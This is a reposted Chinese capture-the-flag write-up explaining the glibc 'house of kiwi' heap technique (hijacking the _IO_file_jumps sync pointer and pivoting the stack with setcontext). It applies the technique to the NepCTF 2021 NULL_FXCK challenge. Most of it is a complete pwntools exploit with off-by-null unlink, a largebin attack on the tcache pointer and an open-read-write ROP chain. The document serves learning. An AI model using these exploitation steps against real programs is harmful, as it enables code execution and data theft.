常回家看看之house of kiwi

news2024/9/20 21:21:04

house of kiwi

前言:house_of_kiwi 一般是通过触发__malloc_assert来刷新IO流,最后可以劫持程序流或者通过和setcontext来打配合来进行栈迁移来得到flag。

我们看看触发的源码

#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function)			\
	 __malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}
#endif
#endif

可以看见__malloc_assert调用了__fxprintffflush,而这个函数调用后会调用_IO_file_jumps中的sync指针。

这个指针在_IO_file_jumps偏移为0x60的位置,那么将这个指针进行劫持,就能达到我们想要的目的,如果题目禁用了execve的话,可以考虑通过setcontext来实现栈迁移

我们看一下这个这个函数

text:0000000000053030 ; __unwind {
.text:0000000000053030                 endbr64
.text:0000000000053034                 push    rdi
.text:0000000000053035                 lea     rsi, [rdi+128h] ; nset
.text:000000000005303C                 xor     edx, edx        ; oset
.text:000000000005303E                 mov     edi, 2          ; how
.text:0000000000053043                 mov     r10d, 8         ; sigsetsize
.text:0000000000053049                 mov     eax, 0Eh
.text:000000000005304E                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:0000000000053050                 pop     rdx
.text:0000000000053051                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000053057                 jnb     loc_5317F
.text:000000000005305D                 mov     rcx, [rdx+0E0h]
.text:0000000000053064                 fldenv  byte ptr [rcx]
.text:0000000000053066                 ldmxcsr dword ptr [rdx+1C0h]
.text:000000000005306D                 mov     rsp, [rdx+0A0h]          //这里将rdx+0xa0的值赋值给了rsp,也就是我们控制了rdx就控制了rsp
.text:0000000000053074                 mov     rbx, [rdx+80h]
.text:000000000005307B                 mov     rbp, [rdx+78h]
.text:000000000005307F                 mov     r12, [rdx+48h]
.text:0000000000053083                 mov     r13, [rdx+50h]
.text:0000000000053087                 mov     r14, [rdx+58h]
.text:000000000005308B                 mov     r15, [rdx+60h]
.text:000000000005308F                 test    dword ptr fs:48h, 2
.text:000000000005309B                 jz      loc_53156
.text:00000000000530A1                 mov     rsi, [rdx+3A8h]
.text:00000000000530A8                 mov     rdi, rsi
.text:00000000000530AB                 mov     rcx, [rdx+3B0h]
.text:00000000000530B2                 cmp     rcx, fs:78h
.text:00000000000530BB                 jz      short loc_530F5
.text:00000000000530BD
.text:00000000000530BD loc_530BD:                              ; CODE XREF: setcontext+9E↓j
.text:00000000000530BD                 mov     rax, [rsi-8]
.text:00000000000530C1                 and     rax, 0FFFFFFFFFFFFFFF8h
.text:00000000000530C5                 cmp     rax, rsi
.text:00000000000530C8                 jz      short loc_530D0
.text:00000000000530CA                 sub     rsi, 8
.text:00000000000530CE                 jmp     short loc_530BD
.text:00000000000530D0 ; ---------------------------------------------------------------------------
.text:00000000000530D0
.text:00000000000530D0 loc_530D0:                              ; CODE XREF: setcontext+98↑j
.text:00000000000530D0                 mov     rax, 1
.text:00000000000530D7                 incsspq rax
.text:00000000000530DC                 rstorssp qword ptr [rsi-8]
.text:00000000000530E1                 saveprevssp
.text:00000000000530E5                 mov     rax, [rdx+3B0h]
.text:00000000000530EC                 mov     fs:78h, rax
.text:00000000000530F5
.text:00000000000530F5 loc_530F5:                              ; CODE XREF: setcontext+8B↑j
.text:00000000000530F5                 rdsspq  rcx
.text:00000000000530FA                 sub     rcx, rdi
.text:00000000000530FD                 jz      short loc_5311C
.text:00000000000530FF                 neg     rcx
.text:0000000000053102                 shr     rcx, 3
.text:0000000000053106                 mov     esi, 0FFh
.text:000000000005310B
.text:000000000005310B loc_5310B:                              ; CODE XREF: setcontext+EA↓j
.text:000000000005310B                 cmp     rcx, rsi
.text:000000000005310E                 cmovb   rsi, rcx
.text:0000000000053112                 incsspq rsi
.text:0000000000053117                 sub     rcx, rsi
.text:000000000005311A                 ja      short loc_5310B
.text:000000000005311C
.text:000000000005311C loc_5311C:                              ; CODE XREF: setcontext+CD↑j
.text:000000000005311C                 mov     rsi, [rdx+70h]
.text:0000000000053120                 mov     rdi, [rdx+68h]
.text:0000000000053124                 mov     rcx, [rdx+98h]
.text:000000000005312B                 mov     r8, [rdx+28h]
.text:000000000005312F                 mov     r9, [rdx+30h]
.text:0000000000053133                 mov     r10, [rdx+0A8h]
.text:000000000005313A                 mov     rdx, [rdx+88h]
.text:0000000000053141                 rdsspq  rax
.text:0000000000053146                 cmp     r10, [rax]
.text:0000000000053149                 mov     eax, 0
.text:000000000005314E                 jnz     short loc_53153
.text:0000000000053150                 push    r10
.text:0000000000053152                 retn
.text:0000000000053153 ; ---------------------------------------------------------------------------
.text:0000000000053153
.text:0000000000053153 loc_53153:                              ; CODE XREF: setcontext+11E↑j
.text:0000000000053153                 jmp     r10
.text:0000000000053156 ; ---------------------------------------------------------------------------
.text:0000000000053156
.text:0000000000053156 loc_53156:                              ; CODE XREF: setcontext+6B↑j
.text:0000000000053156                 mov     rcx, [rdx+0A8h]  //也可以控制到rcx
.text:000000000005315D                 push    rcx               //控制到rip
.text:000000000005315E                 mov     rsi, [rdx+70h]
.text:0000000000053162                 mov     rdi, [rdx+68h]
.text:0000000000053166                 mov     rcx, [rdx+98h]
.text:000000000005316D                 mov     r8, [rdx+28h]
.text:0000000000053171                 mov     r9, [rdx+30h]
.text:0000000000053175                 mov     rdx, [rdx+88h]
.text:0000000000053175 ; } // starts at 53030
.text:000000000005317C ; __unwind {
.text:000000000005317C                 xor     eax, eax
.text:000000000005317E                 retn

 也就是说控制到rdx + 0xa0 和rdx + 0xa8的位置就可以实现栈迁移,那么就要搞清楚,调用这个指针的时候,rdx是什么,那么就需要调试一下

调用了fflush

这里sync指针已经被我修改变成了setcontext+61的地址

而此时的rdx是 IO_helper_jumps的地址

那么劫持到 IO_helper_jumps + 0xa0即可劫持程序流

小结:想要达到house_of_kiwi需要至少两次任意地址改,修改sync指针,以及IO_helper_jumps +0xa0和0xa8的位置,然后就可以劫持到程序流了,对于2.27以上堆题目来说可以通过劫持tcache bin 结构体来达到任意地址分配,进而达到目的。

相比较其他的house_of系列kiwi要求的条件也比较苛刻,但是它的利用手法并不难,在能满足这个条件的情况下,这种手法还是非常不错的。

例题:nepctf-2021 NULL_FXCK

题目链接:题目
提取码:k5h6

ida逆向分析

add函数规定了申请chunk有大小的限制,最小0x100,最大0x2000

edit函数存在off_by_null漏洞,但是只能使用一次

show函数存在截断

free函数没有UAF漏洞

分析:只有一个off_by_null漏洞,只能使用一次,那么可以通过unlink实现堆块重叠,达到泄露地址的目的,但是本题libc是2.32的libc,还是存在_malloc_hook这些钩子,但是这些被ban掉了,而且开了沙箱保护,我们只能orw读取flag,那么就可以从上面house_of_kiwi下手。首先要做的是unlink,但是这样就需要伪造fd指针和bk指针,以前我们一般是将fd和bk指针指向自身来绕过unlink检查,但是现在我们不能泄露地址,也就是要在无法泄露地址的情况下完成unlink

那么我们可以申请6个堆块,free 0,3,5堆块,那么堆块3的fd和bk就已经确定了,此时想要达到堆块重叠,可以把chunk3的size改大(改到top_chunk这样下次在top_chunk申请堆块时候,free时候,会向上合并),怎么来呢,free掉chunk2,然后chunk2和chunk3会合并,然后申请堆块修改chunk3的size,那么此时,链表就被破坏了

free 0,3,5

chunk2和chunk3合并

chunk3size被修改,同时它的fd和bk指针已经设置好了

此时,剩下两个chunk加入到了largebin中,我们申请出来,但是怎么修改它们的fd和bk指针呢

注意看刚刚chunk3和chunk2合并之后剩下的chunk(称为left_chunk),它的地址只有最低位和chunk3不一样,而且chunk3的地址末位是0,这个是一开始布局的时候这样布置的,因为add有截断,我们可以通过free这个left_chunk和chunk0以前和chunk5来构成链子,最后通过add截断修改掉fd或者bk指针

这里以chunk0为例子,注意他的fd是chunk3+0x20的位置,那么如果截断一下就是chunk3了

同理chunk5也是一样,那么完成这个再伪造一下prev_size即可完成unlink,即可申请堆块达到堆块重叠,泄露地址,但是存在00截断,还需要加入到largebin中泄露libc地址以及heap地址

那么现在泄露地址的问题解决了,还需要实现任意地址写,那么这里涉及一个知识,我们知道管理tcachebin链表是一个结构体在heap起始处

其实这个在tls里面有一个指针指向它只是被映射成了这个地址,我们可以找一下

那么通过largebin 劫持这个地址即可劫持到tcachebin链表实现任意地址写,接下来就是house_of_kiwi,实现栈迁移,提前把orw链子写入到chunk里面

EXP:

from gt import *

con("amd64")
libc = ELF("./libc-2.32.so")

io = process("./NULL_FXCK")

def add(size,msg='\x00'):
    io.sendlineafter(">> ",'1')
    io.sendlineafter("(: Size: ",str(size))
    io.sendafter("(: Content: ",msg)


def edit(index,msg):
    io.sendlineafter(">> ",'2')
    io.sendlineafter("Index: ",str(index))
    io.sendafter("Content: ",msg)



def free(index):
    io.sendlineafter(">> ",'3')
    io.sendlineafter("Index: ",str(index))



def show(index):
    io.sendlineafter(">> ",'4')
    io.sendlineafter("Index: ",str(index))



add(0x418) #0
add(0x1f8) #1
add(0x428) #2
add(0x438) #3
add(0x208) #4
add(0x428) #5
add(0x208) #6


free(0)   
free(3)
free(5)
gdb.attach(io)
free(2) #chunk3 chunk2 he bing
payload = b'a'*0x428 + p64(0xc91)
add(0x440,payload) #0
#gdb.attach(io)
add(0x418) #2 chunk3 chunk2 leave part
add(0x418) #3  yuanxian chunk0
add(0x428) #5 yuanxian chunk5

free(3)
free(2)
#gdb.attach(io)
add(0x418,'a'*9) #2
add(0x418) #3
free(3)
free(5)
add(0x9f8) #3
add(0x428,'a') #5
payload = b'a'*0x200 + p64(0xc90) + b'\x00'
edit(6,payload)
#gdb.attach(io)
add(0x418)
add(0x208) # fangzhi top_chunk

free(3)
payload = p64(0) *3 + p64(0x421)
add(0x430,payload)
add(0x1600)
show(4)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -0x6a0 -libc.sym["__malloc_hook"]
suc("libc_base",libc_base)

show(5)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2b0
suc("heap_base",heap_base)
#gdb.attach(io)
tls_truct = libc_base + 0x1eb578
suc("tls_truct",tls_truct)
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
write = libc_base + libc.sym["write"]
setcontext  = libc_base + libc.sym["setcontext"]
pop_rdi = libc_base + 0x000000000002858f#: pop rdi; ret; 
pop_rsi = libc_base + 0x000000000002ac3f#: pop rsi; ret;
pop_rdx_r12 = libc_base + 0x0000000000114161#: pop rdx; pop r12; ret;
IO_file_jumps = libc_base + 0x1e54c0
IO_hleper_jumps = libc_base + 0x1e48c0
suc("IO_hleper_jumps",IO_hleper_jumps)
ret = libc_base + 0x0000000000026699 #: ret; 

payload = b'b'*0x208 + p64(0x431) + b'b'*0x428 + p64(0x211) + b'a'*0x208 + p64(0xa01)
add(0x1240,payload)

free(0) # orw_addr
flag_addr = heap_base + 0x8e0 + 0x100
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr + 0x100) + p64(pop_rdx_r12) + p64(0x40)*2 + p64(write)
orw = orw.ljust(0x100,b'a')
orw += b'flag\x00\x00\x00\x00'

add(0x440,orw) #0
add(0x418) #11
add(0x208) #12

free(5) #unlink big  chunk
free(4) # large_bin attack chunk 
# chunk5 ----> largebin

payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)
payload += p64(tls_truct - 0x20)

add(0x1240,payload)
free(11)
add(0x500) # wancheng large_bin attack

add(0x410) #11
free(4)
payload = b'a'*0x208 + p64(0x431) + p64(libc_base + 0x1e3ff0)*2 + p64(heap_base + 0x1350)*2
add(0x1240,payload)

fake_tcache = b'\x07\x00' * 0x35
fake_tcache = fake_tcache.ljust(0xe8,b'\x00') + p64(IO_file_jumps + 0x60)
fake_tcache = fake_tcache.ljust(0x168,b'\x00') + p64(IO_hleper_jumps + 0xa0)
fake_tcache +=  p64(heap_base + 0x46f0) #top_chunk
add(0x420,fake_tcache)
add(0x100,p64(setcontext+61))
add(0x200,p64(heap_base + 0x8e0)+p64(ret))
add(0x210,p64(0x999))
gdb.attach(io)
add(0x1000)
#gdb.attach(io)
io.interactive()

最后效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2122979.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MFC之CString类及其成员函数用法详解

CString是 CStringT(属于MFC 和 ATL 之间共享的类) 的类模板的专用化,没有基类。在头文件atlstr.h中可以看到CString的定义: CString对象由可变长度的一队字符组成。CString是基于TCHAR数据类型的对象。如果在你的程序中定义了符号_UNICODE,则…

Leetcode 300. 最长递增子序列 记忆化搜索、贪心二分 C++实现

Leetcode 300. 最长递增子序列 问题:给你一个整数数组 nums ,找到其中最长严格递增子序列的长度。 子序列 是由数组派生而来的序列,删除(或不删除)数组中的元素而不改变其余元素的顺序。例如,[3,6,2,7] 是…

猫头虎推荐:2024国内好用的PyPIP换源库

猫头虎推荐:2024国内好用的PyPIP换源库🔥🚀 在国内使用 Python 时,由于访问官方的 PyPI 速度较慢甚至无法连接,选择一个可靠的国内 PyPI 镜像源至关重要📈。为了更高效地完成项目开发,今天猫头…

BC172 牛牛的排列数(c 语言)

1.我们先输入n m的数字&#xff0c;因为n!/(n-m)!的阶乘。即4&#xff01;4*3*2*1&#xff0c;2&#xff01;2*1&#xff0c;4&#xff01;/2&#xff01;12.或者4&#xff01;4*3*2&#xff01;。 #include<sdtio.h> int main() {int n 0;int m 0;long long a 1;whi…

Leetcode面试经典150题-55.跳跃游戏

解法都在代码里&#xff0c;不懂就留言或者私信 class Solution {public boolean canJump(int[] nums) {/**如果就一个位置&#xff0c;你本来就在这&#xff0c;肯定可以跳到*/if(nums.length 1) {return true;}/**这个题的解题思路是遍历数组&#xff0c;如果当前位置不在之…

Linux网络——从《计算机网络》到网络编程

文章目录 从《计算机网络》到网络编程从计算机到计算机网络解决问题网络与计算机系统计算机网络的传输流程IP地址与MAC地址 从《计算机网络》到网络编程 科班的同学大多学过计算机网络&#xff0c;而非科班的同学也多多少少听说过一些 计算机网络体系十分繁杂且精妙&#xff…

毕业论文任务书怎么写?超详细指导带你轻松搞定!

AIPaperGPT&#xff0c;论文写作神器~ https://www.aipapergpt.com/ 毕业论文任务书是毕业论文的“指路明灯”&#xff0c;是论文写作的路线规划。很多同学把毕业论文任务书当作形式化的文件草草了事&#xff0c;其实不然。任务书不仅是你整个论文写作的起点&#xff0c;也是确…

艺术体操与骑行的完美协奏:维乐Angel Rise+坐垫,激情与力量的展现!

在艺术体操的赛场上&#xff0c;每一次旋转、每一次跳跃&#xff0c;都凝聚着运动员的力量与技巧。这不仅是一场速度与激情的碰撞&#xff0c;更是一次力量与技巧的交融。正如在骑行的领域里&#xff0c;VELO Angel Rise坐垫以它独特的一体成型设计和技术&#xff0c;为骑行者们…

【论文分享精炼版】 sNPU: Trusted Execution Environments on Integrated NPUs

今天在COMPASS分享了之前写的一个博客&#xff0c;做了进一步的提炼总结&#xff0c;大家可以看看原文~ 今天分享的论文《sNPU: Trusted Execution Environments on Integrated NPUs》来自2024年ISCA&#xff0c;共同一作为Erhu Feng以及Dahu Feng。并且&#xff0c; 这两位作…

《逆水寒手游》在苹果官网亮眼,国产武术游戏激起海外玩家热情

易采游戏网9月10日消息&#xff1a;《逆水寒手游》自上线以来&#xff0c;以其精致的画面、引人入胜的剧情以及创新的玩法&#xff0c;迅速在国内外游戏市场中占据一席之地。如今&#xff0c;这款备受期待的手游更是亮相全球科技巨头苹果公司iPhone16Pro的官网&#xff0c;为全…

lunix磁盘IO await until问题实战排查-实用命令集合

1、Linux查看磁盘读写次数 iostat -x 1 这个命令可以查询磁盘当前平均读写的次数、读写&#xff0c;以及是否await util严重。 2、查看磁盘TPS和读写数据量大小 iostat -d -k 1 10 这个命令可以查看磁盘的tps和读写数据量大小。 -d&#xff1a;显示某块具体硬盘&#x…

已知两圆的圆心半径,求交点坐标——CAD VBA 解决

如下图&#xff0c; dwg图中若干图形&#xff0c;运行代码后提示选择两个圆&#xff0c;然后判断两个圆位置关系和相交点坐标: 本例难点在于通过几何知识求出交点坐标。 几何背景 假设有两个圆&#xff1a; - 圆1&#xff1a;圆心 ( O_1(x_1, y_1) )&#xff0c;半径 ( r_1 ) …

关于支付宝小程序多规格选项的时候点击不起反应的原因分析及修改方法

解决方案&#xff1a; watch的时候&#xff0c;对于对象的赋值&#xff0c;最好用深拷贝&#xff0c;即如下图&#xff1a; watch:{ row: function (nv, ov) {var that this;that.indata.row JSON.parse(JSON.stringify(nv));//如果是对象&#xff0c;请用深入的for (va…

《使用 LangChain 进行大模型应用开发》学习笔记(二)

前言 本文是 Harrison Chase &#xff08;LangChain 创建者&#xff09;和吴恩达&#xff08;Andrew Ng&#xff09;的视频课程《LangChain for LLM Application Development》&#xff08;使用 LangChain 进行大模型应用开发&#xff09;的学习笔记。由于原课程为全英文视频课…

ReLU再进化ReLUMax:自动驾驶的瞬态容错语义分割

ReLU再进化ReLUMax&#xff1a;自动驾驶的瞬态容错语义分割 Abstract 度学习模型在自动驾驶感知中至关重要&#xff0c;但其可靠性面临着算法限制和硬件故障的挑战。我们通过研究语义分割模型的容错性来应对后者。使用已有的硬件故障模型&#xff0c;我们在准确性和不确定性方…

视频号接口列表

目前已有的接口列表&#xff1a; 账号搜索 视频搜索 直播搜索 获取作者信息和作品列表 视频解密并下载 获取视频详情 获取视频评论 获取视频评论的子评论 作品喜欢 作品点赞 作品评论 对作品评论进行评论 关注作者 加入直播间 获取直播间弹幕消息 发送弹幕消息 获取直播间商品…

力扣474-一和零(Java详细题解)

题目链接&#xff1a;474. 一和零 - 力扣&#xff08;LeetCode&#xff09; 前情提要&#xff1a; 因为本人最近都来刷dp类的题目所以该题就默认用dp方法来做。 最近刚学完01背包&#xff0c;所以现在的题解都是以01背包问题为基础再来写的。 如果大家不懂01背包的话&#…

运维问题0002:SAP多模块问题-SAP系统程序在执行时,跳出“加急快件”窗口,提示:快件文档“更新已终止”从作者***收到

1、问题描述 近期收到2起业务报障&#xff0c;均反馈在SAP执行程序时&#xff0c;弹出“加急快件”窗口&#xff0c;导致操作的业务实际没有更新完成。 1&#xff09;业务场景一&#xff1a;设备管理部门在操作事务代码&#xff1a;AS02进行资产信息变更时&#xff0c;保存正常…

面试官:为什么 Redis 6.0 之后引入多线程?

大家好&#xff0c;我是大明哥&#xff0c;一个专注「死磕 Java」系列创作的硬核程序员。 回答 Redis 的性能瓶颈从来都不是 CPU&#xff0c;是网络I/O 和内存。 内存好解决&#xff0c;加机器内存和优化数据结构。 网路 I/O 的优化才是大头&#xff0c;因为读写网络的 read…

最新大厂薪资职级表,我酸了。。

大家好&#xff01;我是鸭鸭&#xff01; 又到周末&#xff0c;让我们轻松一下&#xff0c;来吃吃瓜&#xff01; 大厂往往会提供具有竞争力的薪资和福利待遇&#xff0c;正值秋招&#xff0c;相关热帖也是又被翻了出来。鸭鸭今天就刷到一个帖子&#xff0c;据说是几家互联网…